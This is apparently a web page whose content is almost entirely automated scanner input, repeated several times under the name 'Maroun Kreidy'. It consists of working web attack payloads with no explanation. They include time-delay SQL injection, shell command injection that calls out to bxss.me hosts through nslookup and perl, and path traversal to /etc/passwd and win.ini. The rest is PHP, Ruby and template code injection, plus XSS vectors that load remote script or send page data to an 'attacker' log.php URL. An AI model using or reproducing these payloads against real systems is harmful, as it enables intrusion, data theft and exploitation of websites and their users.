Maroun Kreidy

555

555

555

-1 OR 2+323-323-1=0+0+0+1 --

-1 OR 2+184-184-1=0+0+0+1

-1' OR 2+494-494-1=0+0+0+1 --

-1' OR 2+718-718-1=0+0+0+1 or 'THhGuQ32'='

-1" OR 2+45-45-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

response.write(9870848*9535171)

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo imeats$()\ pyxlgr\nz^xyu||a #' &echo imeats$()\ pyxlgr\nz^xyu||a #|" &echo imeats$()\ pyxlgr\nz^xyu||a #

'+response.write(9870848*9535171)+'

&echo xqtgxf$()\ ftvioz\nz^xyu||a #' &echo xqtgxf$()\ ftvioz\nz^xyu||a #|" &echo xqtgxf$()\ ftvioz\nz^xyu||a #

"+response.write(9870848*9535171)+"

|echo ghpczn$()\ hjqilw\nz^xyu||a #' |echo ghpczn$()\ hjqilw\nz^xyu||a #|" |echo ghpczn$()\ hjqilw\nz^xyu||a #

f6dF7Nn0

(nslookup hitmjvudpymeu50021.bxss.me||perl -e "gethostbyname('hitmjvudpymeu50021.bxss.me')")

-1; waitfor delay '0:0:15' --

../../../../../../../../../../../../../../etc/passwd

$(nslookup hitihissmwaqk11b79.bxss.me||perl -e "gethostbyname('hitihissmwaqk11b79.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

&(nslookup hitkvejdphgam102fc.bxss.me||perl -e "gethostbyname('hitkvejdphgam102fc.bxss.me')")&'\"`0&(nslookup hitkvejdphgam102fc.bxss.me||perl -e "gethostbyname('hitkvejdphgam102fc.bxss.me')")&`'

555

|(nslookup hitpyoijcvzvycb726.bxss.me||perl -e "gethostbyname('hitpyoijcvzvycb726.bxss.me')")

../555

`(nslookup hitqxmbavxrzfbf0d8.bxss.me||perl -e "gethostbyname('hitqxmbavxrzfbf0d8.bxss.me')")`

;(nslookup hiteuvcfcnsno86bc8.bxss.me||perl -e "gethostbyname('hiteuvcfcnsno86bc8.bxss.me')")|(nslookup hiteuvcfcnsno86bc8.bxss.me||perl -e "gethostbyname('hiteuvcfcnsno86bc8.bxss.me')")&(nslookup hiteuvcfcnsno86bc8.bxss.me||perl -e "gethostbyname('hiteuvcfcnsno86bc8.bxss.me')")

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${10000316+10000079}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555

-1); waitfor delay '0:0:15' --

555&n945823=v961155

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

bxss.me

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitbn'.'socghzsq7d5c2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(79).chr(97).chr(86).'

-1)); waitfor delay '0:0:15' --

".gethostbyname(lc("hitsw"."fgaquyjya247b.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(88).chr(117).chr(80)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

"+"A".concat(70-3).concat(22*4).concat(107).concat(85).concat(117).concat(78)+(require"socket"
Socket.gethostbyname("hitzo"+"vvyvrnju1516b.bxss.me.")[3].to_s)+"

HttP://bxss.me/t/xss.html?%00

';print(md5(31337));$a='

'+'A'.concat(70-3).concat(22*4).concat(97).concat(75).concat(99).concat(69)+(require'socket'
Socket.gethostbyname('hitvf'+'bccprslm11989.bxss.me.')[3].to_s)+'

bxss.me/t/xss.html?%00

";print(md5(31337));$a="

${@print(md5(31337))}

maroun-kreidy

${@print(md5(31337))}\

'.print(md5(31337)).'

maroun-kreidy/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

'"

1 waitfor delay '0:0:15' --

<!--

555'"()&%<acx><ScRiPt >IfC6(9205)</ScRiPt>

1ZV9ctiFeO

'"()&%<acx><ScRiPt >IfC6(9610)</ScRiPt>

5559676823

acu6375＜s1﹥s2ʺs3ʹuca6375

acux3797%C0%BEz1%C0%BCz2a%90bcxuca3797

1BrNmnVi'; waitfor delay '0:0:15' --

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

V2C1ABcN'); waitfor delay '0:0:15' --

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >IfC6(9729)</ScRiPt>

555<WMQOWD>YUTQA[!+!]</WMQOWD>

555<script>IfC6(9194)</script>

555<ScR<ScRiPt>IpT>IfC6(9425)</sCr<ScRiPt>IpT>

bspHMNVF')); waitfor delay '0:0:15' --

555<ScRiPt
>IfC6(9630)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9396></ScRiPt>

555<isindex type=image src=1 onerror=IfC6(9457)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9121'>

555<body onload=IfC6(9636)>

-5 OR 131=(SELECT 131 FROM PG_SLEEP(15))--

555<img src=//xss.bxss.me/t/dot.gif onload=IfC6(9822)>

555<img src=xyz OnErRor=IfC6(9761)>

555<img/src=">" onerror=alert(9543)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%66%43%36%289217%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\IfC6(9777)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;IfC6(9507)&lt;/sCripT&gt;

-5) OR 964=(SELECT 964 FROM PG_SLEEP(15))--

%F6<img acu onmouseover=IfC6(99681) //%F6>

555<input autofocus onfocus=IfC6(9342)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(IfC6(9757))}

555<% contenteditable onresize=IfC6(9864)>

555dPtXF
<ScRiPt >IfC6(9160)</ScRiPt>

-1)) OR 297=(SELECT 297 FROM PG_SLEEP(15))--

555<W0H7TC>HIBJD[!+!]</W0H7TC>

555<ifRAme sRc=9642.com></IfRamE>

555<o2prwI x=9209>

555<img sRc='http://attacker-9326/log.php?

555<wZ73ux<

3ESlZMwz' OR 15=(SELECT 15 FROM PG_SLEEP(15))--

555

555

IbBDHC8F') OR 704=(SELECT 704 FROM PG_SLEEP(15))--

U2viWD0b')) OR 626=(SELECT 626 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@TdR75

555

555

555

555

555

555

555'"()&%<acx><ScRiPt >AAeJ(9847)</ScRiPt>

555

555

'"()&%<acx><ScRiPt >AAeJ(9237)</ScRiPt>

555

5559701812

555

response.write(9833502*9812303)

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'+response.write(9833502*9812303)+'

555

"+response.write(9833502*9812303)+"

echo aayqfr$()\ vsoqpn\nz^xyu||a #' &echo aayqfr$()\ vsoqpn\nz^xyu||a #|" &echo aayqfr$()\ vsoqpn\nz^xyu||a #

-1 OR 2+305-305-1=0+0+0+1 --

&echo rsewjc$()\ nsxibm\nz^xyu||a #' &echo rsewjc$()\ nsxibm\nz^xyu||a #|" &echo rsewjc$()\ nsxibm\nz^xyu||a #

-1 OR 2+476-476-1=0+0+0+1

|echo jtnxlq$()\ shgslo\nz^xyu||a #' |echo jtnxlq$()\ shgslo\nz^xyu||a #|" |echo jtnxlq$()\ shgslo\nz^xyu||a #

-1' OR 2+57-57-1=0+0+0+1 --

(nslookup hitpndzagtegfda5c8.bxss.me||perl -e "gethostbyname('hitpndzagtegfda5c8.bxss.me')")

-1' OR 2+489-489-1=0+0+0+1 or 'u263tE0b'='

$(nslookup hitirymnpoulrb9551.bxss.me||perl -e "gethostbyname('hitirymnpoulrb9551.bxss.me')")

-1" OR 2+56-56-1=0+0+0+1 --

&(nslookup hitkszkjqmuws1ff7d.bxss.me||perl -e "gethostbyname('hitkszkjqmuws1ff7d.bxss.me')")&'\"`0&(nslookup hitkszkjqmuws1ff7d.bxss.me||perl -e "gethostbyname('hitkszkjqmuws1ff7d.bxss.me')")&`'

fHNwKaG9

|(nslookup hitrgcvbfgoav496dc.bxss.me||perl -e "gethostbyname('hitrgcvbfgoav496dc.bxss.me')")

`(nslookup hitfvkpofnzhj3b242.bxss.me||perl -e "gethostbyname('hitfvkpofnzhj3b242.bxss.me')")`

../../../../../../../../../../../../../../etc/passwd

;(nslookup hitgxivbxkmas8ce11.bxss.me||perl -e "gethostbyname('hitgxivbxkmas8ce11.bxss.me')")|(nslookup hitgxivbxkmas8ce11.bxss.me||perl -e "gethostbyname('hitgxivbxkmas8ce11.bxss.me')")&(nslookup hitgxivbxkmas8ce11.bxss.me||perl -e "gethostbyname('hitgxivbxkmas8ce11.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

555

555<esi:include src="http://bxss.me/rpb.png"/>

../555

555

${9999042+9999689}

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

if(now()=sysdate(),sleep(15),0)

555&n950564=v994241

bxss.me

)

555

!(()&&!|*|*|

^(#$!@#$)(()))******

'"()

'.gethostbyname(lc('hitgs'.'gersqnaz53f5b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(71).chr(100).chr(65).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

".gethostbyname(lc("hitni"."mqsyjynwacfeb.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(84).chr(99).chr(80)."

';print(md5(31337));$a='

";print(md5(31337));$a="

"+"A".concat(70-3).concat(22*4).concat(114).concat(72).concat(112).concat(72)+(require"socket"
Socket.gethostbyname("hitni"+"uraeradyf9f85.bxss.me.")[3].to_s)+"

HttP://bxss.me/t/xss.html?%00

${@print(md5(31337))}

maroun-kreidy

'+'A'.concat(70-3).concat(22*4).concat(103).concat(85).concat(119).concat(73)+(require'socket'
Socket.gethostbyname('hitvz'+'froxyvnnd3225.bxss.me.')[3].to_s)+'

bxss.me/t/xss.html?%00

${@print(md5(31337))}\

'.print(md5(31337)).'

maroun-kreidy/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

/xfs.bxss.me

555'"()&%<acx><ScRiPt >9qum(9833)</ScRiPt>

'"

<!--

'"()&%<acx><ScRiPt >9qum(9118)</ScRiPt>

5559808906

acu8541＜s1﹥s2ʺs3ʹuca8541

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

acux10627%C0%BEz1%C0%BCz2a%90bcxuca10627

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >9qum(9782)</ScRiPt>

555<W9CVSK>AONFL[!+!]</W9CVSK>

-1; waitfor delay '0:0:15' --

555<script>9qum(9113)</script>

555<ScR<ScRiPt>IpT>9qum(9590)</sCr<ScRiPt>IpT>

555<ScRiPt
>9qum(9191)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9979></ScRiPt>

555<isindex type=image src=1 onerror=9qum(9749)>

-1); waitfor delay '0:0:15' --

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9594'>

555<body onload=9qum(9687)>

555<img src=//xss.bxss.me/t/dot.gif onload=9qum(9779)>

555<img src=xyz OnErRor=9qum(9134)>

555<img/src=">" onerror=alert(9161)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%39%71%75%6D%289180%29%3C%2F%73%43%72%69%70%54%3E

-1)); waitfor delay '0:0:15' --

555\u003CScRiPt\9qum(9001)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;9qum(9194)&lt;/sCripT&gt;

%F6<img acu onmouseover=9qum(95121) //%F6>

555<input autofocus onfocus=9qum(9522)>

1 waitfor delay '0:0:15' --

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(9qum(9506))}

555<% contenteditable onresize=9qum(9254)>

555ZFDVx
<ScRiPt >9qum(9361)</ScRiPt>

555<WUORRH>PCSCU[!+!]</WUORRH>

LPBtvlBU'; waitfor delay '0:0:15' --

555<ifRAme sRc=9208.com></IfRamE>

555<rJqL73 x=9325>

555<img sRc='http://attacker-9091/log.php?

555<JIPQef<

555

FFNMQtG3'); waitfor delay '0:0:15' --

555

XfH185yd')); waitfor delay '0:0:15' --

-5 OR 510=(SELECT 510 FROM PG_SLEEP(15))--

-5) OR 153=(SELECT 153 FROM PG_SLEEP(15))--

-1)) OR 618=(SELECT 618 FROM PG_SLEEP(15))--

w5mgYnfs' OR 258=(SELECT 258 FROM PG_SLEEP(15))--

2DodNVl4') OR 423=(SELECT 423 FROM PG_SLEEP(15))--

HBj05IDC')) OR 53=(SELECT 53 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@xWGA6

555

555

555

555

555'"()&%<acx><ScRiPt >VM1I(9152)</ScRiPt>

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

'"()&%<acx><ScRiPt >VM1I(9556)</ScRiPt>

response.write(9995053*9883432)

'+response.write(9995053*9883432)+'

555

"+response.write(9995053*9883432)+"

echo xaclul$()\ vcpivf\nz^xyu||a #' &echo xaclul$()\ vcpivf\nz^xyu||a #|" &echo xaclul$()\ vcpivf\nz^xyu||a #

5559417434

&echo eoqfon$()\ pnutnz\nz^xyu||a #' &echo eoqfon$()\ pnutnz\nz^xyu||a #|" &echo eoqfon$()\ pnutnz\nz^xyu||a #

|echo ewghjw$()\ yffnbe\nz^xyu||a #' |echo ewghjw$()\ yffnbe\nz^xyu||a #|" |echo ewghjw$()\ yffnbe\nz^xyu||a #

(nslookup hitjycnxtdxjj83792.bxss.me||perl -e "gethostbyname('hitjycnxtdxjj83792.bxss.me')")

$(nslookup hitimpioazhph908f3.bxss.me||perl -e "gethostbyname('hitimpioazhph908f3.bxss.me')")

555

&(nslookup hitlhncartaqv24f60.bxss.me||perl -e "gethostbyname('hitlhncartaqv24f60.bxss.me')")&'\"`0&(nslookup hitlhncartaqv24f60.bxss.me||perl -e "gethostbyname('hitlhncartaqv24f60.bxss.me')")&`'

555

Do8AAyWm

../../../../../../../../../../../../../../etc/passwd

|(nslookup hitsernjcopjoea4fa.bxss.me||perl -e "gethostbyname('hitsernjcopjoea4fa.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

`(nslookup hitcmfosbilmb68a32.bxss.me||perl -e "gethostbyname('hitcmfosbilmb68a32.bxss.me')")`

555

;(nslookup hitopbjkhozsi3957a.bxss.me||perl -e "gethostbyname('hitopbjkhozsi3957a.bxss.me')")|(nslookup hitopbjkhozsi3957a.bxss.me||perl -e "gethostbyname('hitopbjkhozsi3957a.bxss.me')")&(nslookup hitopbjkhozsi3957a.bxss.me||perl -e "gethostbyname('hitopbjkhozsi3957a.bxss.me')")

../555

555

555<esi:include src="http://bxss.me/rpb.png"/>

${10000337+9999962}

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555&n988324=v956037

)

555

!(()&&!|*|*|

Http://bxss.me/t/fit.txt

-1 OR 2+137-137-1=0+0+0+1 --

555

http://bxss.me/t/fit.txt?.jpg

^(#$!@#$)(()))******

-1 OR 2+137-137-1=0+0+0+1

bxss.me

-1' OR 2+458-458-1=0+0+0+1 --

'"()

'.gethostbyname(lc('hitwv'.'yjetnactcde31.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(89).chr(111).chr(79).'

-1' OR 2+635-635-1=0+0+0+1 or 'pKWKB1DL'='

".gethostbyname(lc("hittf"."ftyoastiaea94.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(66).chr(109).chr(72)."

-1" OR 2+558-558-1=0+0+0+1 --

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

HttP://bxss.me/t/xss.html?%00

";print(md5(31337));$a="

bxss.me/t/xss.html?%00

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(99).concat(65).concat(106).concat(89)+(require"socket"
Socket.gethostbyname("hitli"+"iaqvfjgm9c3c4.bxss.me.")[3].to_s)+"

maroun-kreidy

'+'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(100).concat(72)+(require'socket'
Socket.gethostbyname('hitqv'+'ukgbmhgc29ad6.bxss.me.')[3].to_s)+'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

maroun-kreidy/.

/xfs.bxss.me

if(now()=sysdate(),sleep(15),0)

'"

<!--

555'"()&%<acx><ScRiPt >1ncI(9396)</ScRiPt>

'"()&%<acx><ScRiPt >1ncI(9217)</ScRiPt>

5559386997

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

acu3820＜s1﹥s2ʺs3ʹuca3820

acux5882%C0%BEz1%C0%BCz2a%90bcxuca5882

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >1ncI(9576)</ScRiPt>

555<WQT8EO>KDX7C[!+!]</WQT8EO>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555<script>1ncI(9652)</script>

555<ScR<ScRiPt>IpT>1ncI(9918)</sCr<ScRiPt>IpT>

555<ScRiPt
>1ncI(9306)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9876></ScRiPt>

-1; waitfor delay '0:0:15' --

555<isindex type=image src=1 onerror=1ncI(9188)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9222'>

555<body onload=1ncI(9209)>

555<img src=//xss.bxss.me/t/dot.gif onload=1ncI(9442)>

555<img src=xyz OnErRor=1ncI(9091)>

-1); waitfor delay '0:0:15' --

555<img/src=">" onerror=alert(9674)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%6E%63%49%289498%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\1ncI(9687)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;1ncI(9167)&lt;/sCripT&gt;

%F6<img acu onmouseover=1ncI(92841) //%F6>

-1)); waitfor delay '0:0:15' --

555<input autofocus onfocus=1ncI(9033)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(1ncI(9837))}

555<% contenteditable onresize=1ncI(9134)>

555ymYK9
<ScRiPt >1ncI(9071)</ScRiPt>

1 waitfor delay '0:0:15' --

555<WLTDG7>WEPFI[!+!]</WLTDG7>

555<ifRAme sRc=9562.com></IfRamE>

555<LZDEaW x=9104>

555<img sRc='http://attacker-9367/log.php?

bqOGn126'; waitfor delay '0:0:15' --

555<oxsbHE<

555

555

QPzSi6c1'); waitfor delay '0:0:15' --

NAOT5PYT')); waitfor delay '0:0:15' --

-5 OR 831=(SELECT 831 FROM PG_SLEEP(15))--

-5) OR 742=(SELECT 742 FROM PG_SLEEP(15))--

-1)) OR 508=(SELECT 508 FROM PG_SLEEP(15))--

WYu0qBZJ' OR 310=(SELECT 310 FROM PG_SLEEP(15))--

VlfFuwlU') OR 257=(SELECT 257 FROM PG_SLEEP(15))--

vxUFmj9Y')) OR 496=(SELECT 496 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@IleFQ

555

555

555

555

555

555'"()&%<acx><ScRiPt >Gzm4(9415)</ScRiPt>

'"()&%<acx><ScRiPt >Gzm4(9137)</ScRiPt>

5559599717

acu8736＜s1﹥s2ʺs3ʹuca8736

acux3901%C0%BEz1%C0%BCz2a%90bcxuca3901

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >Gzm4(9649)</ScRiPt>

555<WYZTU3>GM44S[!+!]</WYZTU3>

555<script>Gzm4(9658)</script>

555<ScR<ScRiPt>IpT>Gzm4(9565)</sCr<ScRiPt>IpT>

555<ScRiPt
>Gzm4(9923)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9958></ScRiPt>

555<isindex type=image src=1 onerror=Gzm4(9275)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9939'>

555<body onload=Gzm4(9949)>

555<img src=//xss.bxss.me/t/dot.gif onload=Gzm4(9254)>

555<img src=xyz OnErRor=Gzm4(9766)>

555<img/src=">" onerror=alert(9526)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%7A%6D%34%289339%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Gzm4(9366)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;Gzm4(9995)&lt;/sCripT&gt;

%F6<img acu onmouseover=Gzm4(97911) //%F6>

555<input autofocus onfocus=Gzm4(9767)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(Gzm4(9886))}

555<% contenteditable onresize=Gzm4(9987)>

555zRbzz
<ScRiPt >Gzm4(9421)</ScRiPt>

555<WYCGQM>AUCEZ[!+!]</WYCGQM>

555<ifRAme sRc=9374.com></IfRamE>

555<mzH3wD x=9629>

555<img sRc='http://attacker-9930/log.php?

555<700FND<

555'"()&%<acx><ScRiPt >z54o(9049)</ScRiPt>

'"()&%<acx><ScRiPt >z54o(9658)</ScRiPt>

5559263594

acu1512＜s1﹥s2ʺs3ʹuca1512

acux5204%C0%BEz1%C0%BCz2a%90bcxuca5204

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >z54o(9350)</ScRiPt>

555<WKW6SB>DVSKE[!+!]</WKW6SB>

555<script>z54o(9303)</script>

555<ScR<ScRiPt>IpT>z54o(9838)</sCr<ScRiPt>IpT>

555<ScRiPt
>z54o(9958)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9021></ScRiPt>

555<isindex type=image src=1 onerror=z54o(9491)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9773'>

555<body onload=z54o(9958)>

555<img src=//xss.bxss.me/t/dot.gif onload=z54o(9401)>

555<img src=xyz OnErRor=z54o(9038)>

555<img/src=">" onerror=alert(9562)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%35%34%6F%289644%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\z54o(9377)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;z54o(9680)&lt;/sCripT&gt;

%F6<img acu onmouseover=z54o(91471) //%F6>

555<input autofocus onfocus=z54o(9382)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(z54o(9531))}

555<% contenteditable onresize=z54o(9725)>

555lAm7P
<ScRiPt >z54o(9787)</ScRiPt>

555<W1TBPE>K1PSF[!+!]</W1TBPE>

555<ifRAme sRc=9742.com></IfRamE>

555<6x7AUO x=9437>

555<img sRc='http://attacker-9371/log.php?

555<8mEtcZ<